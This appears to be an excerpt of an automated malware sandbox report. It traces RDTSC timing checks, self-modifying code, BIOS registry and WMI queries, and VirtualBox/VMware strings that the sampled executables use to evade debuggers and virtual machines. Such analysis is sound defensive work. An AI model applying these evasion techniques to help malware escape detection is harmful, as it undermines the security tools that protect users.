Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DC1D47 second address: DC1D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC1BCECC576h 0x0000000a pop eax 0x0000000b jp 00007FC1BCECC578h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DC1D5E second address: DC1D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DBB31E second address: DBB322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DBB322 second address: DBB328 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DBB328 second address: DBB331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: DBB331 second address: DBB376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007FC1BC5023AAh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC1BC5023AFh 0x00000014 ja 00007FC1BC5023C2h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0746C second address: E07496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FC1BCECC57Ah 0x0000000b pop edx 0x0000000c pop edi 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC1BCECC57Fh 0x00000015 jnc 00007FC1BCECC576h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E07625 second address: E07639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 jc 00007FC1BC5023C2h 0x0000000c ja 00007FC1BC5023B2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E07639 second address: E0763F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E078F1 second address: E078FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FC1BC5023A6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E09CC0 second address: E09CC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E09CC5 second address: E09CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0A025 second address: E0A02B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0A8AD second address: E0A8CD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007FC1BC5023A6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007FC1BC5023ACh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0A8CD second address: E0A8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0A8D1 second address: E0A913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FC1BC5023B0h 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jp 00007FC1BC5023A6h 0x00000019 jmp 00007FC1BC5023B8h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0BC56 second address: E0BC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0BC5A second address: E0BC93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov esi, dword ptr [ebp+122D3579h] 0x00000010 push 00000000h 0x00000012 movsx esi, si 0x00000015 push 00000000h 0x00000017 jmp 00007FC1BC5023B7h 0x0000001c push eax 0x0000001d je 00007FC1BC5023B4h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0E37A second address: E0E37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0F784 second address: E0F789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0F789 second address: E0F7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D333Ah], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FC1BCECC578h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov di, ax 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FC1BCECC578h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d sub si, 64F7h 0x00000052 push ecx 0x00000053 add dword ptr [ebp+122D24B2h], ebx 0x00000059 pop esi 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d jng 00007FC1BCECC57Ch 0x00000063 ja 00007FC1BCECC576h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1022E second address: E10249 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC1BC5023A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FC1BC5023ACh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E10249 second address: E1024F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1024F second address: E102A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov esi, 40337461h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FC1BC5023A8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D58CAh] 0x00000035 xchg eax, ebx 0x00000036 jmp 00007FC1BC5023B1h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E102A8 second address: E102AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E102AC second address: E102B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E102B2 second address: E102C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BCECC57Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0FFDA second address: E0FFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0FFE0 second address: E0FFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E0FFE4 second address: E0FFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E14135 second address: E1413B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1413B second address: E14140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E14140 second address: E1414A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1462D second address: E14633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E10BB8 second address: E10BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E10BBC second address: E10BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E176D2 second address: E176D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E176D7 second address: E176E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BC5023AAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E176E5 second address: E1770A instructions: 0x00000000 rdtsc 0x00000002 js 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FC1BCECC583h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1770A second address: E1770E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1692F second address: E16936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E16936 second address: E1695F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FC1BC5023A6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC1BC5023B8h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E19943 second address: E19947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E19947 second address: E1994D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1994D second address: E19953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E19953 second address: E19957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E19957 second address: E1999A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC1BCECC582h 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1C1Bh], eax 0x00000015 push 00000000h 0x00000017 mov di, ax 0x0000001a push 00000000h 0x0000001c call 00007FC1BCECC57Ch 0x00000021 jnp 00007FC1BCECC578h 0x00000027 mov bl, cl 0x00000029 pop edi 0x0000002a push eax 0x0000002b pushad 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E19B45 second address: E19B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1AA28 second address: E1AA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1AB08 second address: E1AB0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1AB0C second address: E1AB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1C82A second address: E1C88A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FC1BC5023A8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D1D6Fh], edi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f sub dword ptr [ebp+122D32ACh], edx 0x00000035 pop edi 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FC1BC5023B8h 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1BA69 second address: E1BA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1C9BD second address: E1C9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1C9C2 second address: E1CA7A instructions: 0x00000000 rdtsc 0x00000002 je 00007FC1BCECC581h 0x00000008 jmp 00007FC1BCECC57Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jnp 00007FC1BCECC58Eh 0x00000016 push esi 0x00000017 jmp 00007FC1BCECC586h 0x0000001c pop esi 0x0000001d nop 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov bx, dx 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push edi 0x00000030 jmp 00007FC1BCECC580h 0x00000035 pop ebx 0x00000036 mov eax, dword ptr [ebp+122D0EB1h] 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007FC1BCECC578h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 xor bh, 00000051h 0x00000059 call 00007FC1BCECC587h 0x0000005e je 00007FC1BCECC57Ch 0x00000064 mov dword ptr [ebp+122D254Dh], edi 0x0000006a pop ebx 0x0000006b push FFFFFFFFh 0x0000006d sub ebx, dword ptr [ebp+122D35F5h] 0x00000073 stc 0x00000074 nop 0x00000075 push edi 0x00000076 push eax 0x00000077 push edx 0x00000078 jo 00007FC1BCECC576h 0x0000007e rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1CA7A second address: E1CA8C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jg 00007FC1BC5023A6h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1FCCD second address: E1FCD7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1FCD7 second address: E1FCEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BC5023B3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E1FCEE second address: E1FCF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E22BD2 second address: E22BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E22BD6 second address: E22BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E22BDA second address: E22BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E23BCF second address: E23BD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E23BD5 second address: E23C29 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, dword ptr [ebp+122D3739h] 0x00000015 push 00000000h 0x00000017 movsx edi, bx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FC1BC5023A8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov bx, 1026h 0x0000003a push eax 0x0000003b push ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FC1BC5023ACh 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E23C29 second address: E23C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E24F95 second address: E24F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E2AB23 second address: E2AB2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E2AB2D second address: E2AB42 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC1BC5023ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E2AB42 second address: E2AB46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E2AB46 second address: E2AB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC1BC5023A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	RDTSC instruction interceptor: First address: E2AB56 second address: E2AB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: F03BD9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: F03B1B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 10A9D13 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 1131436 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Special instruction interceptor: First address: C62936 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Special instruction interceptor: First address: E24FCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Special instruction interceptor: First address: E926C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: E92936 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 1054FCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 10C26C1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

Code function: 3_2_04D505E2 rdtsc

3_2_04D505E2

Source: C:\Users\user\Desktop\random.exe TID: 2508

Thread sleep time: -240000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: rapes.exe, rapes.exe, 00000005.00000002.1167369698.0000000001014000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: random.exe, 00000000.00000003.943098710.00000000062E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
